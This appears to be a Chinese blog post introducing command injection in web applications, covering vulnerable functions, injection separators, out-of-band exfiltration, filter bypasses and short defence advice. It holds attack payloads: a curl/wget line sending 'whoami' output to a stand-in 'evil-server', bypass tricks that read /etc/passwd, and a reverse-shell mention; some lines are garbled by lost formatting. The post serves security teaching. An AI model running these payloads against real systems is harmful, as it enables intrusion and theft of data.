关于命令注入的一些介绍

勤学以增智,修德以立身,
明辨以正心,笃实以为公。

平常以博客的形式来记录自己的笔记,因为学了IT以后才知道,这可不是抖音上vbs,bat那么easy,不是喊喊口号就能热血沸腾,所以平常学习的时间还是比较多的,如果有关注我的朋友可能不及时更新。

命令注入通常因为指Web应用在服务器上拼接系统命令而造成的漏洞。
该类漏洞通常出现在调用外部程序完成一些功能的情景下。比如一些Web管理界面的配置主机名/IP/掩码/网关、查看系统信息以及关闭重启等功能,或者一些站点提供如ping、nslookup、提供发送邮件、转换图片等功能都可能出现该类漏洞。
简而言之,就是攻击者可以随意执行系统命令,属于高危漏洞之一,也属于代码执行范畴。

那么web应用程序如何命令注入【用宫廷剧来理解】
(1)调用可执行命令的函数【相当于拟旨事实存在】
(2)函数或参数可控【太监总管胆小怕事,同意被恶毒的国舅控制】
(3)拼接命令注入【国舅胆小怕事篡改圣旨】
例:
http://www.123.com”& dir”. /
攻击者就是构造命令给文本web应用程序,然后拼接命令执行注入的命令,最后结果显示。
在此大家还要学习操作系统的命令
window DOS命令
Linux Bash命令
下面是web应用程序DVWA提供的测试域名/IP的ping服务,
并将ping命令的执行过程显示出来。
ps:千万不要忘了命令可以连接执行。
在这里插入图片描述
^1常见危险函数

一、PHP
system
exec
passthru
shell_exec
popen
proc_open
二、Python
system
popen
subprocess.call
spawn
三、Java
java.lang.Runtime.getRuntime().exec(command)

^2常见注入方式

分号分割
|| && & 分割
| 管道符
\r\n %d0%a0 换行
反引号解析
$() 替换

无回显技巧

bash反弹shell
DNS带外数据
http带外
【curl http://evil-server/ ( w h o a m i ) w g e t h t t p : / / e v i l s e r v e r / (whoami)】 【 wget http://evil-server/ (whoami)】
无带外时利用 sleep 或其他逻辑构造布尔条件
^2常见的绕过方式
黑名单绕过

a=l;b=s; a a b
base64 echo “bHM=” | base64 -d
/?in/?s => /bin/ls
连接符 cat /etc/pass’w’d
未定义的初始化变量 cat$x /etc/passwd

空格绕过
< 符号 cat<123
\t / %09
I F S c a t {IFS} 其中{}用来截断,比如cat IFS2会被认为IFS2是变量名。另外,在后面加个$可以起到截断的作用,一般用$9,因为$9是当前系统shell进程的第九个参数的持有者,它始终为空字符串

^3防御
不使用时禁用相应函数
尽量不要执行外部的应用程序或命令
做输入的格式检查
转义命令中的所有shell元字符
shell元字符包括 #&;`,|*?~<>^()[]{}$\

原创文章 6 获赞 6 访问量 407

猜你喜欢

转载自blog.csdn.net/qq_46854899/article/details/105735176
今日推荐